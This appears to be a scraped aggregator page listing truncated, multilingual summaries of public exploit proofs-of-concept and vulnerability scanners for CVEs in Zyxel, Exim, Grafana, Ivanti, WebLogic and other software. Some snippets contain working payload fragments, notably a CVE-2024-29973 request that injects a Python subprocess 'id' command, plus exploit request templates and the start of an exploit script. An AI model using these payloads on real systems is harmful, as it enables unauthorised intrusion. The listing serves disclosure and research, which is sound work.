domain-to-webapp

domain-to-webapp Ein einfaches Bash-Skript zum Auffinden von Webanwendungen, die in einer Domain gehostet werden Anforderungen curl Subfinder Docker-Image Verwendung root@kitploit: $./webAppChecker businesssolutions.com ./ouputdir ./scope.txt | \ | | \ \ / /| | / \ | | | |/ | ' \ / | | ' \ | / \ ...

DOCxNGINxFX

WORDLISTxGENERATORxFX Versione 1.0 Versione 2.0 WORDLISTxGENERATORxFX rinominato in DOCxNGINxFX Versione 3.0 DOCxNGINxFX Ho scritto questo per dare qualcosa in cambio alla grande e potente comunità open source là fuori che condivide le proprie conoscenze o framework e da cui ho imparato così tant...

CVE-2024-29973

CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...

CVE-2022-30333-PoC

CVE-2022-30333-POC Beispieldatei zum Testen von CVE-2022-30333 Sample.rar : wenn Sie unter Linux testen möchten. Beim Extrahieren wird trav in ../../tmp/traversed erstellt. Bitte stellen Sie sicher, dass das Verzeichnis ../../tmp/traversed vor dem Extrahieren von Sample.rar existiert. exp.rar :...

CVE-2026-48813-POC

Flawfinder-ANSI-Exploit-POC Nella versione 2.0.19 di Flawfinder, non avviene alcuna sanificazione del nome del file durante l'analisi di nomi di file potenzialmente dannosi. I terminali noti come affetti sono basati su libvte, e l'esempio seguente mostra un mate-terminal. Questo exploit è stato...

CVE-2022-0492-Checker

CVE-2022-0492-Checker Uno script per verificare se un ambiente container è vulnerabile a fughe dai container tramite CVE-2022-0492 Informazioni sulla vulnerabilità Il 4 febbraio , Linux ha annunciato CVE-2022-0492 , una nuova vulnerabilità di escalation dei privilegi nel kernel. CVE-2022-0492...

CVE-2022-45451

Introdução Especificações do Sistema: Windows 10 1809 x64 PT-BR Alvo: Acronis Home Cyber Protect Acronis Cyber Protect Descrição da Vulnerabilidade O driver de verificação anti-malware "ngscan" da Acronis sofre de controle de acesso incorreto/inadequado colocado na porta de comunicação do filtro....

CVE-2020-28018

CVE-2020-28018: Use-after-free UAF in Exim che porta a RCE Introduzione Esiste una vulnerabilità Use-after-free UAF in tls-openssl.c che consente a un attaccante remoto non autenticato di corrompere i dati interni della memoria, portando infine all'esecuzione di codice remoto. Primitive: Perdita ...

Grafana-CVE-2021-43798Exp

Grafana V8. Beliebiger Datei-Lese-Exploit – Multithreaded Batch-Überprüfungsskript Schwachstellenbeschreibung Grafana ist eine Open-Source-Suite für Metriken, Analyse und Visualisierung. Sie wird häufig für die Visualisierung von Zeitreihendaten und Anwendungsanalysen in der Infrastruktur...

cve-2025-7771

CVE-2025-7771 — LPE di ThrottleStop.sys Proof-of-concept per CVE-2025-7771. ThrottleStop.sys espone due gestori IOCTL che consentono lettura/scrittura arbitraria della memoria fisica senza alcun controllo degli accessi — qualsiasi processo amministrativo può leggere o scrivere ovunque nella RAM...

CVE-2019-9053

CVE-2019-9053 Exploit CVE-2019-9053 per Python 3 Ultimo test: 28-12-2021 Testato su: Python 3.10.1 Fonte dell'exploit originale: https://www.exploit-db.com/exploits/46635 Gli utenti si assumono la piena responsabilità per qualsiasi azione eseguita utilizzando questo strumento. Se questi termini n...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan Dieses Metasploit-Framework-Modul kann verwendet werden, um Unternehmen bei der Überprüfung der letzten Citrix-Sicherheitslücken veröffentlicht am 8. Juli 2020 zu helfen. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 Öffentliche Berichterstattung am 8. Juli 2020 durch Donny...

CVE-2025-30208

Cinese | Inglese Scanner di Vulnerabilità del Server di Sviluppo Vite Uno scanner automatico per reti interne ed esterne Uno strumento automatizzato per la scansione delle vulnerabilità del server di sviluppo Vite. Questo strumento utilizza l'API FOFA per raccogliere potenziali target e rileva...

Humax-CLI

Humax-CLI Un client terminale non ufficiale per Humax IR4000HD con funzionalità avanzate. Tutto ciò è venuto dall'ingegneria inversa dell'app Android e arriverà un articolo al più presto 😄 Screenshot Utilizzo : root@kitploit: usage: sendUDP.py -h -i IP -l --try-this --loop -j -b btn btn...

CVE-2024-21893.py

CVE-2024-21893 ist eine Server-Side-Request-Forgery-Schwachstelle in der SAML-Komponente von Ivanti Connect Secure 9.x, 22.x und Ivanti Policy Secure 9.x, 22.x und Ivanti Neurons for ZTA, die es einem Angreifer ermöglicht, ohne Authentifizierung auf bestimmte eingeschränkte Ressourcen zuzugreifen...

CVE-2021-23758-POC

CVE-2021-23758-POC Questa repo è stata creata per la formazione sulla vulnerabilità in ajaxpro, divulgata con il numero ID CVE-2021-23758. POC root@kitploit: POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99",...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload root@kitploit: PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2022-45047

CVE-2022-45047 POC,EXP,chatGPT per me codice root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding"...

CVE-2025-64714-privatebin-2.0.2-PoC

CVE-2025-64714 — PrivateBin: Inclusione Locale di File tramite Path Traversal del Cookie Template Gravità: Media CVSS v3.1: 5.8 Vettore: AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N Versioni interessate: PrivateBin = 1.7.7 Versione corretta: 2.0.3 CWE: CWE-23 Path Traversal relativo, CWE-73 Controllo...

CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln

CVE-2023-1454 Jeecg-Boot-qurestSql-SQLvuln jmreport/qurestSql poc per scansione batch di SQL injection non autorizzata. Jeecg-Boot è una piattaforma di sviluppo rapido basata su Spring Boot e Jeecg-Boot-Plus; nell'ultima versione jeecg-boot 3.5.0 sono state scoperte multiple vulnerabilità di SQL...